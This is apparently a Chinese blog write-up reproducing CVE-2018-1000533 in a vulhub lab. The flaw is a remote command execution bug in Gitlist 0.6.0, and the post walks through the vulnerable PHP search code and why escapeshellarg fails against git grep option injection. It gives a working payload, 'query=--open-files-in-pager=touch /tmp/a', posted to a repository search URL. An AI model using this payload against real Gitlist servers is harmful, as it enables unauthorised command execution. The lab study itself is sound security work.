vulhub漏洞复现-Gitlist 0.6.0(cve-2018-1000533)远程命令执行漏洞
·
Gitlist
gitlist是一款使用PHP开发的图形化git仓库查看工具。
思路
在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
其中,$query
是搜索的关键字,$branch
是搜索的分支,知道grep函数的应该就能看懂,从分支里面搜索关键字。
为什么会出现这个漏洞,首先这里经过escapeshellarg
处理后就会变成能正常执行的shell参数,如果用户输入的$query = --open-files-in-pager=id;
是作为-e
的参数去执行,那就是正常的,也就是说这只是一个字符串,一个附带的参数值,就像这样
git grep -i --line-number -e '--open-files-in-pager=id;' master
但--open-files-in-pager=id;
如果直接作为grep的参数,那就可以执行<id>
命令
git grep -i --line-number --open-files-in-pager=id; master
对于两个参数的解释看手册git-grep(1) Manual Page
漏洞复现
这里我们改成POST包,访问/example/tree/a/search
,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query}
$branch
"中的$branch
,但因为我们的$query
被当成了一个参数,所以$branch
就应该被当做搜索的关键字,关键字如下。
抓包添加POST参数
query=--open-files-in-pager=touch /tmp/a
进入后台查看,执行成功
更多推荐
已为社区贡献2条内容
所有评论(0)